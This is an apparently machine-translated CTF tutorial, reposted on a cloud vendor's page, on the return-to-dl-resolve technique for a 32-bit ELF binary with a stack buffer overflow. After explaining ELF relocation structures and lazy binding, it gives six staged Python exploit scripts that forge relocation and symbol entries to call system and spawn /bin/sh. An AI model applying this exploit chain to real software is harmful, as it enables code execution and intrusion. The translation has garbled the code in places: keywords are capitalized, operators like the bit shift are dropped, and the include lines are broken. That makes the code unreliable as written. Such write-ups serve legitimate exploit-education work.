Constructing a drop-to-dl-resolve chain through ELF Dynamic Loading)

Source: Internet
Author: User

Constructing a drop-to-dl-resolve chain through ELF Dynamic Loading)

As we all know when you play the CTF server, PWN vulnerability issues generally provide an executable program and a libc library with dynamic links to program running. The library function offset address can be obtained through libc. so, and the address of the actual function in the process is calculated in combination with the libc function address in the leaked GOT table to bypass ASLR. This method is called return-to-libc. This article introduces a method that does not rely on libc.
Taking XDCTF2015-EXPLOIT2 as an example, this question was only for executable files. The original intention of this question is to use the Return-to-dl-resolve Method to bypass the limitations of NX and ASLR. This document describes how to use this technique.
Here we construct a program with the stack buffer overflow vulnerability to facilitate the construction of the ROP chain in the future.
 

#include#include#include void vuln(){    char buf[100];    setbuf(stdin,buf);    read(0,buf,256); // Buffer OverFlow} int main(){    char buf[100] = "Welcome to XDCTF2015~!\n";     setbuf(stdout,buf);    write(1,buf,strlen(buf));     vuln();     return 0;}

0x01 prerequisites
Related Structure
The ELF executable file consists of the ELF header, the program header table and its corresponding segment, and the section header table and its corresponding section. If an executable file participates in a dynamic link, its program header table will contain segments of the type PT_DYNAMIC, which contains the. dynamic section. Structure,
Typedef struct {
Elf32_Sword d_tag;
Union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} D_un;
} Elf32_Dyn;
The Tag corresponds to each section. For example, JMPREL corresponds to. rel. plt.

The section contains all information about the target file. Section structure.
Typedef struct {
Elf32_Word sh_name; // index of the character table section in the header of the Section
Elf32_Word sh_type; // partition type
Elf32_Word sh_flags; // The Section flag used to describe attributes.
Elf32_Addr sh_addr; // memory image of the node area
Elf32_Off sh_offset; // file offset in the Section
Elf32_Word sh_size; // length of the Section
Elf32_Word sh_link; // index link of the table header in the Section
Elf32_Word sh_info; // Additional information
Elf32_Word sh_addralign; // section alignment constraint
Elf32_Word sh_entsize; // The length of table items in a fixed Partition
} Elf32_Shdr;
List the 28 sections of the file. The Section with the REL type contains the relocation table item.

(1) The. rel. plt section is used for function relocation, and the. rel. dyn section is used for variable relocation.
Typedef struct {
Elf32_Addr r_offset; // For executable files, this value is a virtual address.
Elf32_Word r_info; // symbol table Index
} Elf32_Rel;
# Define ELF32_R_SYM (I)> 8)
# Define ELF32_R_TYPE (I) (unsigned char) (I ))
# Define ELF32_R_INFO (s, t) (s)
In. rel. plt, the linked C-database functions are listed. The following uses the write function as an example. r_offset = 0x804a010, r_info = 0x507 of the write function.

(2) The. got section stores the global variable offset table, and the. got. plt section stores the global function Offset Table .. Got. plt corresponds to the r_offset value in the Elf32_Rel structure ., The write function is located at 0x804a010 in the got table.

(3) The. dynsym section contains a dynamic link symbol table. Here, the num in Elf32_Sym [num] corresponds to ELF32_R_SYM (Elf32_Rel-> r_info ). According to the definition, ELF32_R_SYM (Elf32_Rel-> r_info) = (Elf32_Rel-> r_info)> 8.
Typedef struct
{
Elf32_Word st_name;/* Symbol name (string tbl index )*/
Elf32_Addr st_value;/* Symbol value */
Elf32_Word st_size;/* Symbol size */
Unsigned char st_info;/* Symbol type and binding */
Unsigned char st_other;/* Symbol visibility under glibc> = 2.2 */
Elf32_Section st_shndx;/* Section index */
} Elf32_Sym;
, The write index value is ELF32_R_SYM (0x507) = 0x507> 8 = 5. Elf32_Sym [5] stores the write symbol table information. And ELF32_R_TYPE (0x507) = 7, corresponding to r_1__jump_slot


(4) The. dynstr section contains a dynamic link string. This section starts and ends with \ x00, and each string in the middle is also separated by \ x00 ., Elf32_Sym [5]-> st_name = 0x54, so. dynstr plus the offset of 0x54 is the string write

(5) The. plt section is a process chain table. The process chain table redirects independent function calls to an absolute position ., When the program executes call write @ plt, it will actually jump to 0x80483c0 for execution.

Delayed binding
Some C-library functions may not be executed until the end of the execution process of the program. Therefore, ELF adopts the delayed binding technology. It finds the real location for binding only when the C library function is called for the first time.
Specifically, we already know that when the program executes call write @ plt, it will actually jump to 0x80483c0 for execution. The compilation code at 0x80483c0 is only three lines. Let's take a look at what these three lines of code have done.

In the first row, the previous section also mentioned that 0x804a010 is the location of the write GOT table. When we call write for the first time, the corresponding GOT table does not store the actual write address, the address of the next command. The second and third rows push reloc_arg = 0x20 into the stack as the parameter and jump to 0x8048370 for execution.

0x8048370 then pushes link_map = * (GOT + 4) into the stack as a parameter, while * (GOT + 8) stores the address of the _ dl_runtime_resolve function. Therefore, the preceding command is equivalent to executing _ dl_runtime_resolve (link_map, reloc_arg). This function parses the symbols and writes the real write function address to the GOT entry, then, the control is handed over to the write function.

The _ dl_runtime_resolve is implemented by assembly in the glibc-2.22/sysdeps/i386/dl-trampoline.S. 0xf7ff04fb calls _ dl_fixup and transmits parameters through registers.

Where _ dl_fixup is implemented in glibc-2.22/elf/dl-runtime.c, we only focus on some of the main functions.
1
_ Dl_fixup (struct link_map * l, ElfW (Word) reloc_arg)
First, the reloc_arg parameter is used to calculate the relocation entry. Here, JMPREL is. rel. plt, and reloc_offset is reloc_arg.
1
Const PLTREL * const reloc = (const void *) (D_PTR (l, l_info [DT_JMPREL]) + reloc_offset );
Then find the corresponding entry in. dynsym through reloc-> r_info.
1
Const ElfW (Sym) * sym = & symtab [ELFW (R_SYM) (reloc-> r_info)];
Here, we will also check whether the reloc-> r_info callback bit is r_1__jump_slot = 7.
1
Assert (ELFW (R_TYPE) (reloc-> r_info) = ELF_MACHINE_JMP_SLOT );
Then, use strtab + sym-> st_name to find the symbol table string. The result is the base address of libc.
1
Result = _ dl_lookup_symbol_x (strtab + sym-> st_name, l, & sym, l-> l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL );
Value is the base address of libc plus the offset address of the function to be parsed, that is, the actual address.
1
Value = DL_FIXUP_MAKE_VALUE (result, sym? (LOOKUP_VALUE_ADDRESS (result) + sym-> st_value): 0 );
Finally, write the value to the corresponding GOT table entry.
1
Return elf_machine_fixup_plt (l, result, reloc, rel_addr, value );
Vulnerability exploits
To control the EIP address as PLT [0], you only need to pass one index_arg parameter.
Control the size of index_arg so that the reloc location falls within the controllable address.
Counterfeit the reloc content so that sym falls into a controllable address
Counterfeit sym content to place the name in a controllable address
Forge a name to any library function, such as system
EIP Control
First, check which protection is enabled for the process.

Due to the stack buffer vulnerability in the program, we can use PEDA to quickly locate the EIP overwriting location.

Stage1
We first write a drop chain and directly return it to write @ plt.
From zio import *
 
Offset = 112
 
Addr_plt_read = 0x08048390 # objdump-d-j. plt bof | grep "read"
Addr_plt_write = 0x080483c0 # objdump-d-j. plt bof | grep "write"
 
#./Rp-lin-x86 -- file = bof -- rop = 3 -- unique> gadgets.txt
Pppop_ret = 0x0804856c
Pop_ebp_ret = 0x08048453
Leave_ret = 0x08048481
 
Stack_size = 0x800
Addr_bss = 0x0804a020 # readelf-S bof | grep ". bss"
Base_stage = addr_bss + stack_size
 
Target = "./bof"
Io = zio (target ))

 

 
Io. read_until ('Welcome to XDCTF2015 ~! \ N ')
# Io. gdb_hint ([0x80484bd])
 
Buf1 = 'A' * offset
Buf1 + = l32 (addr_plt_read)
Buf1 + = l32 (pppop_ret)
Buf1 + = l32 (0)
Buf1 + = l32 (base_stage)
Buf1. + = l32 (100)
Buf1 + = l32 (pop_ebp_ret)
Buf1 + = l32 (base_stage)
Buf1 + = l32 (leave_ret)
Io. writeline (buf1)
 
Cmd = "/bin/sh"
 
Buf2 = 'aaa'
Buf2 + = l32 (addr_plt_write)
Buf2 + = 'aaa'
Buf2 + = l32 (1)
Buf2 + = l32 (base_stage + 80)
Buf2 + = l32 (len (cmd ))
Buf2 + = 'A' * (80-len (buf2 ))
Buf2 + = cmd + '\ x00'
Buf2 + = 'A' * (100-len (buf2 ))
Io. writeline (buf2)
Io. interact ()
Finally, we will print out the input cmd.

Stage2
This time, we control the EIP to return to PLT0, and we need to carry index_offset. Here we will modify buf2
...
Cmd = "/bin/sh"
Addr_plt_start = 0x8048370 # objdump-d-j. plt bof
Index_offset = 0x20
 
Buf2 = 'aaa'
Buf2 + = l32 (addr_plt_start)
Buf2 + = l32 (index_offset)
Buf2 + = 'aaa'
Buf2 + = l32 (1)
Buf2 + = l32 (base_stage + 80)
Buf2 + = l32 (len (cmd ))
Buf2 + = 'A' * (80-len (buf2 ))
Buf2 + = cmd + '\ x00'
Buf2 + = 'A' * (100-len (buf2 ))
Io. writeline (buf2)
Io. interact ()
The input cmd will also be printed out.

Stage3
This time, we control index_offset so that it points to our forged fake_reloc.
...
Cmd = "/bin/sh"
Addr_plt_start = 0x8048370 # objdump-d-j. plt bof
Addr_rel_plt = 0x8048318 # objdump-s-j. rel. plt a. out
Index_offset = (base_stage + 28)-addr_rel_plt
Addr_got_write = 0x804a020
R_info = 0x507
Fake_reloc = l32 (addr_got_write) + l32 (r_info)
 
Buf2 = 'aaa'
Buf2 + = l32 (addr_plt_start)
Buf2 + = l32 (index_offset)
Buf2 + = 'aaa'
Buf2 + = l32 (1)
Buf2 + = l32 (base_stage + 80)
Buf2 + = l32 (len (cmd ))
Buf2 + = fake_reloc
Buf2 + = 'A' * (80-len (buf2 ))
Buf2 + = cmd + '\ x00'
Buf2 + = 'A' * (100-len (buf2 ))
Io. writeline (buf2)
Io. interact ()
The input cmd will also be printed out.

Stage4
This time, we forged fake_sym to point it to the st_name we control.
Cmd = "/bin/sh"
Addr_plt_start = 0x8048370 # objdump-d-j. plt bof
Addr_rel_plt = 0x8048318 # objdump-s-j. rel. plt a. out
Index_offset = (base_stage + 28)-addr_rel_plt
Addr_got_write = 0x804a020
Addr_dynsym = 0x080481d8
Addr_dynstr = 0x08048268
Fake_sym = base_stage + 36
Align = 0x10-(fake_sym-addr_dynsym) & 0xf)
Fake_sym = fake_sym + align
Index_dynsym = (fake_sym-addr_dynsym)/0x10
R_info = (index_dynsym 8) | 0x7
Fake_reloc = l32 (addr_got_write) + l32 (r_info)
St_name = 0x54
Fake_sym = l32 (st_name) + l32 (0) + l32 (0) + l32 (0x12)
 
Buf2 = 'aaa'
Buf2 + = l32 (addr_plt_start)
Buf2 + = l32 (index_offset)
Buf2 + = 'aaa'
Buf2 + = l32 (1)
Buf2 + = l32 (base_stage + 80)
Buf2 + = l32 (len (cmd ))
Buf2 + = fake_reloc
Buf2 + = 'B' * align
Buf2 + = fake_sym
Buf2 + = 'A' * (80-len (buf2 ))
Buf2 + = cmd + '\ x00'
Buf2 + = 'A' * (100-len (buf2 ))
Io. writeline (buf2)
Io. interact ()
The input cmd will also be printed out.

Stage5
This time, point st_name to our forged string write
...
Cmd = "/bin/sh"
Addr_plt_start = 0x8048370 # objdump-d-j. plt bof
Addr_rel_plt = 0x8048318 # objdump-s-j. rel. plt a. out
Index_offset = (base_stage + 28)-addr_rel_plt
Addr_got_write = 0x804a020
Addr_dynsym = 0x080481d8
Addr_dynstr = 0x08048268
Addr_fake_sym = base_stage + 36
Align = 0x10-(addr_fake_sym-addr_dynsym) & 0xf)
Addr_fake_sym = addr_fake_sym + align
Index_dynsym = (addr_fake_sym-addr_dynsym)/0x10
R_info = (index_dynsym 8) | 0x7

 

Fake_reloc = l32 (addr_got_write) + l32 (r_info)
St_name = (addr_fake_sym + 16)-addr_dynstr
Fake_sym = l32 (st_name) + l32 (0) + l32 (0) + l32 (0x12)
 
Buf2 = 'aaa'
Buf2 + = l32 (addr_plt_start)
Buf2 + = l32 (index_offset)
Buf2 + = 'aaa'
Buf2 + = l32 (1)
Buf2 + = l32 (base_stage + 80)
Buf2 + = l32 (len (cmd ))
Buf2 + = fake_reloc
Buf2 + = 'B' * align
Buf2 + = fake_sym
Buf2 + = "write \ x00"
Buf2 + = 'A' * (80-len (buf2 ))
Buf2 + = cmd + '\ x00'
Buf2 + = 'A' * (100-len (buf2 ))
Io. writeline (buf2)
Io. interact ()
The input cmd will also be printed out.

Stage6
Replace write with system and modify system parameters.
...
Cmd = "/bin/sh"
Addr_plt_start = 0x8048370 # objdump-d-j. plt bof
Addr_rel_plt = 0x8048318 # objdump-s-j. rel. plt a. out
Index_offset = (base_stage + 28)-addr_rel_plt
Addr_got_write = 0x804a020
Addr_dynsym = 0x080481d8
Addr_dynstr = 0x08048268
Addr_fake_sym = base_stage + 36
Align = 0x10-(addr_fake_sym-addr_dynsym) & 0xf)
Addr_fake_sym = addr_fake_sym + align
Index_dynsym = (addr_fake_sym-addr_dynsym)/0x10
R_info = (index_dynsym 8) | 0x7
Fake_reloc = l32 (addr_got_write) + l32 (r_info)
St_name = (addr_fake_sym + 16)-addr_dynstr
Fake_sym = l32 (st_name) + l32 (0) + l32 (0) + l32 (0x12)
 
Buf2 = 'aaa'
Buf2 + = l32 (addr_plt_start)
Buf2 + = l32 (index_offset)
Buf2 + = 'aaa'
Buf2 + = l32 (base_stage + 80)
Buf2 + = 'aaa'
Buf2 + = 'aaa'
Buf2 + = fake_reloc
Buf2 + = 'B' * align
Buf2 + = fake_sym
Buf2 + = "system \ x00"
Buf2 + = 'A' * (80-len (buf2 ))
Buf2 + = cmd + '\ x00'
Buf2 + = 'A' * (100-len (buf2 ))
Io. writeline (buf2)
Io. interact ()
Get a shell

WTF
The above is just a description of the principles, of course, if you are relatively lazy, there are already mature tools to assist in writing the roputils script.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.